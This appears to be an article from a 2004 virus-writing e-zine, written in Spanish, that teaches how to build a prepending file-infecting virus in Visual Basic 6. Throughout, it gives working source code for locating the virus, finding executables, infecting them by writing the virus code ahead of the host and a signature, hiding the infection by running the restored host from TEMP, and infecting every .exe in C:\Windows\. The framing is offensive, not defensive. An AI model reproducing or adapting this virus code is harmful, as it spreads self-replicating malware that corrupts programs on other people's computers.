Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 02 007
(C) MITOSIS #2 E-Zine/GEDZAC 2004
Tema : Infección de ejecutables en VB 6
Autor : Falckon
Válido para : Microsoft Visual Basic 6
Fecha : 12/11/03
Nivel : medio - avanzado (no 1337 por favor)
Para la Mitosis E-zine GEDZAC #2 y la CUM (Comunidad Underground de México)
---------------------------------------------------------------------------------
Este texto está basado en uno que hice hace unos meses, solo que lo he reescrito,
ya que el anterior nunca lo terminé y faltaron detalles, espero que este sea más
entendible, cabe destacar que yo no escribo artículos, así que me cuesta trabajo
realizar el siguiente, espero ser lo mas entendible posible y si no me entienden,
deberán estudiar los códigos creo que eso lo entenderán mejor, más que mi
explicación china ;-).
- Introducción:
El método que aquí voy a exponer se trata de infectar ejecutables por el método
prepending, para lo cual tu virus se le denominaría "HLLP" (para los que no lo
sepan) esto de los términos lo expondré después, para darnos una idea de como es
este método, e aquí un ejemplo para que lo entiendas:
[-------------] [-------------] Virus
Virus [-------------> Host [----------------> [-------------]
[-------------] [-------------] Host
[-------------]
Un virus prepending mueve los bits y bytes del host hacia al final posicionando
en primer lugar los bits y bytes suyos, así pues el virus toma el control de todo
el host, ejecutandose primero.
* Empezando a programar
- Determinar la ubicación de nuestro virus
Nuestra primera tarea será determinar el lugar donde se ubica nuestro virus:
Private Function guorm()
Dim lugar As String
lugar = App.Path
If Right(lugar, 1) = "\" Then
guorm = lugar + App.EXEName + ".exe"
Else
guorm = lugar + "\" + App.EXEName + ".exe"
End If
End Function
De seguro entenderás el código, no habrá necesidad de explicarlo.
- Busqueda de archivos ejecutables
Ahora como todo buen virus nos dedicaremos a buscar ejecutables con la siguiente
función que será llamada desde el código del virus, la llamaremos pasándole una
carpeta, la cual nos devolverá una variable con todos los ejecutables separados
por el siguiente signo:"|" (sin comillas):
Private Function buscando(carpeta As String) As String
Dim cr As String, cx As String
cr = Dir$(carpeta + "*.exe")
While cr <> ""
cx = cx & cr & "|"
cr = Dir$
Wend
buscando = cx
End Function
- Infectando ejecutables
Nuestro siguiente paso será infectar los archivos que hayamos sacado con la
función anterior, esta función la llamaremos de la siguiente forma:
Call infectando Folder, archivo
Donde Folder es la carpeta la cual anteriormente elegimos para extraer archivos,
después pondremos ahí el nombre del ejecutable.
Sub infectando(carpeta As String, exejodido)
On Error Resume Next
If carpeta <> "" And exejodido <> "" Then
Dim host As String
Dim firma As String
firma = "GEDZAC" '<-------------------firma del virus
Open carpeta + exejodido For Binary Access Read As #1
host = Space(LOF(1))
Get #1, , host
Close #1
If InStr(host, firma) = 0 Then
Dim virus As String
Open guorm For Binary Access Read As #2
virus = Space(24576) '<----Tamaño en Bytes del virus, ver propiedades
del ejecutable para sacarlo
Get #2, , virus
Close #2
Open carpeta + exejodido For Binary Access Write As #3
Put #3, , virus
Put #3, , host
Put #3, , firma
Close #3
End If
End If
End Sub
Como podemos ver se comprobará primero si las variables carpeta y exejodido
contienen algo, seguidamente se establece en una variable la firma que identifi-
cará a la especie para no volver a infectar un mismo ejecutable, procedemos a
abrir el archivo en modo binario solo para leerlo, después comprobamos si este
contiene la firma y si nos da 0 procederemos a abrir el ejecutable desde el cual
nos encontramos, para eso llamamos la función guorm, después especificaremos el
tamaño del virus el cual leeremos, una vez que nos tengamos leídos procederemos
a volver a abrir el archivo encontrado, el cual le escribiremos primeramente la
variable que contiene el virus, seguido del host y la firma, la estructura de
nuestro nuevo ejecutable deberá quedar de esta forma:
[Virus]
[ HOST]
[FIRMA]
(si no me e explicado bien es mejor que estudies el código para comprender)
- Regenerando el host
Cabe mencionar que hasta aquí vamos bien, pero...
muchas personas piensan que uniendo un ejecutable con otro, los dos se ejecutan,
pero esto es falso, siempre el que esté de primero será ejecutado, el otro no,
así que tenemos que buscar la forma de pasar el control al host para así no dar
sospechas al usuario de que a ejecutado un virus (recuerdo esto es solo una
introducción y aquí no manejamos API's para la identificación de las ventanas y
así eliminar el archivo cuando es cerrado etc.)
El siguiente Sub regenerará el archivo previamente infectado, ósea
le pasa el control.
Sub regenerando(ejecutable)
Dim host2 As String
Dim virs As String
Open ejecutable For Binary Access Read As #1
virs = Space(24576) '<- tamaño en bytes del virus, para sacarlo compilar
'el ejecutable y ver en propiedades
host2 = Space(LOF(1) - 24576)'<--- le restamos el tamaño del virus a todo el host
'para que nos quede solo el ejecutable
Get #1, , virs
Get #1, , host2
Close #1
Dim xx, fso As Object
Randomize
xx = Int(Rnd * 100000)
Set fso = CreateObject("Scripting.FileSystemObject")
Open fso.GetSpecialFolder(2) & "\" & xx & ".exe" For Binary Access Write As #2
Put #2, , host2
Close #2
Dim aa
aa = Shell(fso.GetSpecialFolder(2) & "\" & xx & ".exe")
End Sub
Lo primero que haremos será abrir nuestro exe y leer el host, randomizamos un
numero aleatoria mente, llamamos al objeto FSO para sacar el directorio TEMP,
creamos ahí un archivo binario nuevo y le escribimos lo previamente leído, por
ultimo lo ejecutamos.
- Finalizando
- instrucciones imprescindibles para el correcto funcionamiento del virus
Las siguientes subs serán imprescindibles para el funcionamiento de nuestro bebé,
lo siguiente irá colocado en el sub form_load:
Dim comp As String
Open guorm For Binary Access Read As #1
comp = Space(LOF(1))
Get #1, , comp
Close #1
If InStr(comp, "GEDZAC") <> 0 Then
regenerando (guorm)
End if
comprobamos si estamos infectados, si es así llamamos al sub regenerando y
empezamos el proceso ya explicado antes.
Ahora bien esto no es todo :
Dim xd, xa, carpeti As String
carpeti = "C:\Windows\" '<-------- carpeta donde buscaremos los archivos para
infectar
xd = Split(buscando(carpeti), "|")
For Each xa In xd
infectando carpeti, xa
Next
después de colocar el código anterior debajo colocaremos este, el cual buscará en
una carpeta especificada los archivos que vamos a infectar, luego los coloca en
una variable dimensional (Array) procediendo a realizar un for each para
extraerlas y llamar al sub que infectará nuestros exe's
y esto es todo
- Términos (para los que no estén enterados)
HLLO = Hight Level Lenguage OverWriting :
Virus que sobrescriben archivos para infectarlos
HLLA = Hight Level Lenguage Appending :
Virus que infectan archivos pegándose al final del host
HLLP = Hight Level Lenguage Prepending :
Virus que infectan archivos pegándose al principio del host
- Despedida
Ya se acabó, esto es una introducción, agradezco las criticas y comentarios tanto
del código como mi forma de redactar este articulo, ya que no soy un experto :),
agradecimientos especiales para:
Alcopaul (estudié varios de tus codes y te lo agradezco :)
Taer (Por una CUM cada día mejor)
MachineD (aprendí mucho de usted, gracias espero algún día volver a verte)
M*b3l (a tí mas que nada que te quiero :) )
GEDZAC (por poder estar y llevar el grupo a la cima, animo vamos a salir
adelante!)
y a quien mas puedo agradecer? a ti, por tomarte la molestia de leer esto, espero
sea de tu agrado y si no ps ya no queda más que decir.
Hasta la próxima ya con un mejor artículo y una mejor redacción ;-) se los prometo.
(C) MITOSIS #2 E-Zine/GEDZAC 2004